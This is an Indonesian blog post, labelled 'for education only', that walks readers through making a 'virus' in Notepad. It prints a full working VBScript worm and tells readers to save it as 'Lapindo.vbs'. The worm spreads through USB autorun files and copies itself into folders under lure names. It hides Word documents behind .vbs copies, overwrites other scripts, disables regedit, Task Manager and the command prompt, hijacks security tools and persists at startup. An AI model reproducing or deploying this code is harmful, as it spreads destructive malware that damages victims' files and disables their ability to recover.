Skip to content Skip to sidebar Skip to footer

Cara Iseng Buat Virus Lewat Notepad

For Education Only ["Jangan disalah gunakan, hanya untuk pembelajaran"]

http://apocalytyo.blogspot.co.id/2009/03/iseng-iseng-buat-virus-lewat-notepad.html
Virus adalah suatu hal yang pasti tidak disukai orang banyak,maka biasanya kalau kompi kena Virus,Ufh menyebalkan banget kan ???
Maka tidak ada salahnya kita buat virus kecil-kecilan,karena hal kecil bisa menjadi yang besar. Sekalian tambah wawasan mengenai seluk beluk “Si Perusak” alias viruszz …
karena belajar itu menyenangkan apalagi yang iseng-iseng. [hheeheee]

http://paclengs.blogspot.com/
Cara Iseng Buat Virus Lewat Notepad


Oke langsung tancep aja, cuy .,….

1. Buka Notepad [ terserah lewat mana saja bisa kok,missal di Run>> ketik Notepad>>bLAA udh Kan???]



Copy script dibawah ini . . .


Rem sidoarjocity4154802560 On Error Resume Next Dim Reg, fso, Induk Set Reg = CreateObject("WScript.Shell") Set fso = CreateObject("Scripting.FileSystemObject") Set Induk = fso.GetFile(Wscript.ScriptFullName) If Induk <> Reg.SpecialFolders("AppData") & "\blukutuk.vbs" then If fso.fileExists(Left(Induk, Len(Induk) - 4)) Then Reg.Run (Reg.RegRead("HKCR\" & BacaHandle("doc") & "\shell\Open\command\") & " " & chr(34) & Left(Induk, len(Induk)-3) & chr(34)) Else Reg.Run (Reg.RegRead("HKCR\" & BacaHandle("doc") & "\shell\Open\command\") & " " & chr(34) & chr(34)) End If End If AutoFlash Sebar1 Sebar2 Samar Pertahanan ShortCut SerangFile (Left(Induk, InStrRev(Induk, " \ "))) SerangFolder (Left(Induk, InStrRev(Induk, " \ "))) SerangDrive("c:\") SerangDrive("d:\") SerangDrive("e:\") SerangDrive("f:\") SerangDrive("g:\") AlwaysRun SerangRecent Sub AutoFlash On Error Resume Next Dim flashdrive, auto, tf1, tf2 For Each flashdrive In fso.drives If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then Set auto = fso.CreateTextFile(flashdrive.Path & ("\AutoRun.inf"), True) auto.Write ("[autorun]"& vbcrlf & "shellexecute=wscript.exe sidoarjo hot.vbs") auto.Close set tf1=fso.getfile(flashdrive.path & "\AutoRun.inf") tf1.Attributes = 32 Induk.Copy (flashdrive.Path & "\sidoarjo hot.vbs") set tf2=fso.getfile(flashdrive.path & "\sidoarjo hot.vbs") tf2.Attributes = 32 End If Next End Sub Sub SerangDrive (Lokasi) On Error Resume Next Dim drv If fso.DriveExists(Lokasi) Then Set drv = fso.GetDrive(fso.GetDriveName(Lokasi)) If drv.DriveType = 1 Or drv.DriveType = 2 Then CopyVbs (Lokasi & "\lapindo.vbs") SerangFolder (Lokasi) End If End If End Sub Sub SerangFolder (Lokasi) On Error Resume Next If Lokasi = "" Then Exit Sub if Lokasi = Left(Reg.SpecialFolders("Desktop"),3) & "Windows" then exit sub Dim target For Each target In fso.GetFolder(Lokasi).SubFolders CopyVbs(target & "\bacalah aku.vbs") SerangFile (target) SerangFolder2 (target) Next End Sub Sub SerangFolder2 (Lokasi) On Error Resume Next If Lokasi = "" Then Exit Sub if Lokasi = Left(Reg.SpecialFolders("Desktop"),3) & "Windows" then exit sub Dim target For Each target In fso.GetFolder(Lokasi).SubFolders CopyVbs(target & "\duit.vbs") SerangFile (target) SerangFolder3 (target) Next End Sub Sub SerangFolder3 (Lokasi) On Error Resume Next If Lokasi = "" Then Exit Sub if Lokasi = Left(Reg.SpecialFolders("Desktop"),3) & "Windows" then exit sub Dim target For Each target In fso.GetFolder(Lokasi).SubFolders CopyVbs(target & "\Hasil rapat.vbs") SerangFile (target) Next End Sub Sub SerangFile (Lokasi) On Error Resume Next Dim target For Each target In fso.GetFolder(Lokasi).Files If lcase(Right(target,3))="doc" then if Left(target,2)<> "~$" then CopyVbs(target & ".vbs") HilangFile (target) End If If lcase(Right(target,3))="xls" or lcase(Right(target,3))="ppt" or lcase(Right(target,3))="pdf" or lcase(Right(target,3))="rtf" or lcase(Right(target,3))="rar" or lcase(Right(target,3))="zip" or lcase(Right(target,3))="jpg" or lcase(Right(target,3))="gif" or lcase(Right(target,3))="bmp" then if Left(target,2)<> "~$" then CopyVbs(Left(target, len(target)-3) & "vbs") End If If lcase(Right(target,4))="docx" or lcase(Right(target,4))="xlsx" or lcase(Right(target,4))="pptx" then if Left(target,2)<> "~$" then CopyVbs(Left(target, len(target)-4) & "vbs") End If if lcase(Right(target,3))="vbs" then KillVBS(target) Next End sub Sub Pertahanan On Error Resume Next Reg.RegWrite "HKCR\inffile\shell\Install\command\", "logoff.exe" Reg.RegWrite "HKCR\regfile\shell\open\command\", "logoff.exe" Reg.RegWrite "HKCR\VBSFile\Shell\Edit\Command\", "logoff.exe" Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegedit", "1", "REG_DWORD" Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", "0", "REG_DWORD" Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", "1", "REG_DWORD" Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileAssociate", "1", "REG_DWORD" Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "1", "REG_DWORD" Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind", "1", "REG_DWORD" Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", "1", "REG_DWORD" Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD", "1", "REG_DWORD" Reg.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableTaskMgr", "1", "REG_DWORD" Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger","Notepad.exe" Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger","Notepad.exe" Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger","Notepad.exe" Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe\Debugger","Notepad.exe" Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TaskMgr.exe\Debugger","Notepad.exe" Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\attrib.exe\Debugger","Notepad.exe" Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install.exe\Debugger","Notepad.exe" Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe\Debugger","Notepad.exe" End Sub Sub Samar On Error Resume Next Dim HandleDoc, HandleVbs HandleDoc = "HKEY_CLASSES_ROOT\" & BacaHandle("doc") HandleVbs = "HKEY_CLASSES_ROOT\" & BacaHandle("VBS") Reg.RegWrite HandleVbs & "\", Reg.RegRead(HandleDoc & "\") Reg.RegWrite HandleVbs & "\DefaultIcon\", Reg.RegRead(HandleDoc & "\DefaultIcon\") Reg.RegWrite HandleVbs & "\NeverShowExt","" Reg.RegWrite "HKCR\VBSFile\FriendlyTypeName", Reg.RegRead(HandleDoc & "\") End Sub Sub ShortCut On Error Resume Next Dim lnk, lok lok = Reg.SpecialFolders("Favorites") & "\blukutuk.lnk" Set lnk = Reg.CreateShortCut(lok) Induk.Copy (Reg.SpecialFolders("AppData") & "\blukutuk.vbs") lnk.TargetPath = Reg.ExpandEnvironmentStrings(Reg.SpecialFolders("AppData") & "\blukutuk.vbs") lnk.Save HilangFile (lok) Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\blukutuk", lok End Sub Sub HilangFile (AlamatFile) Dim f1 Set f1 = fso.GetFile(AlamatFile) f1.Attributes = 6 End sub Sub CopyVbs (Alamat) On Error Resume Next Dim data, ts, s, a, tf Randomize data = Left(Rnd(15) * 10000000000, 10) Set ts = fso.openTextFile(Induk, 1) a = ts.ReadAll s = Right(a, Len(a) -28) ts.Close Set tf = fso.CreateTextFile(Alamat, True) tf.WriteLine ("Rem sidoarjocity" & data) tf.Write s tf.Close Set ts = fso.GetFile(Alamat) ts.Attributes = 1 End sub Function BacaHandle(TipeFile) BacaHandle = reg.RegRead ("HKEY_CLASSES_ROOT\." & TipeFile & "\") End Function Sub KillVBS(alamat) On Error Resume Next Dim ts, s, i, a, b Set ts = fso.openTextFile(alamat, 1) s = ts.Readline ts.Close a = instr(s, "sidoarjocity") If a = 0 Or a = "" Then Set ts = fso.GetFile(alamat) ts.Attributes = 0 Set ts = fso.openTextFile(Induk, 1) i = ts.ReadAll ts.Close Set ts = fso.CreateTextfile(alamat, True) ts.Write i ts.Close End If End sub sub AlwaysRun On Error Resume Next Dim mf, check If Wscript.ScriptFullname = Reg.SpecialFolders("AppData") & "\blukutuk.vbs" then Do Set mf = fso.getfile(Wscript.ScriptFullname) check = mf.Drive.drivetype If check <> 1 Then Wscript.sleep 200000 Reg.run fso.getspecialfolder(0) & "\explorer.exe /e,/select, " & Wscript.ScriptFullname AutoFlash Sebar1 SerangDrive("d:\") SerangDrive("e:\") Loop While check <> 1 End If End sub Sub Sebar1 dim nilai nilai=Left(Reg.SpecialFolders("Desktop"),3) & "Windows\System.vbs" CopyVBS (nilai) HilangFile(nilai) SerangFolder(Reg.SpecialFolders("MyDocuments")) CopyVbs(Reg.SpecialFolders("NetHood") & "\Ceritaku.txt.vbs") End Sub Sub SerangRecent On Error Resume Next Dim target, ok For Each target in fso.GetFolder(Reg.SpecialFolders("Recent")).Files Set ok = reg.CreateShortCut(target) if fso.FolderExists(ok.WorkingDirectory) then SerangFolder (ok.WorkingDirectory) Next End sub




Rem Created by Vir.VBS Generator V.1


2. Kalau udah selesai di copy paste aja di notepad, jadi gak perlu nulis sak’abreg gtu . .
3. Kemudian simpan [File>>Save As] kasih nama “Lapindo.vbs” [Inget harus pake tanda kutip,jangan lupa]
http://paclengs.blogspot.co.id/

4.Jadi dech tuch virus, kalau kamu klik [jangan dech,agak berbahaya soalnya]

Catatan:

Kalau kamu pake Anti Virus Avira [yang gambar red umbrella] maka langsung kedetect dengan nama VBS/Autorun.T . . .
Terus kalau kamu coba klik, maka sesuai namanya “Lapindo” kompi kamu yang pake anti virus AVG.Avira,Norton akan ditenggelamin alias gak fungsi lagi…
Dan masih banyak efek lainnya
So becareful

Akhirnya cukup sudah penjelasan mengenai buat virus pake notepad,dan inget aturan mainnya For Education Only. . . Kalau ada yang tertarik,lain kali buat lagi yang lebih ganaszzz, hehheheeh





Post a Comment for "Cara Iseng Buat Virus Lewat Notepad"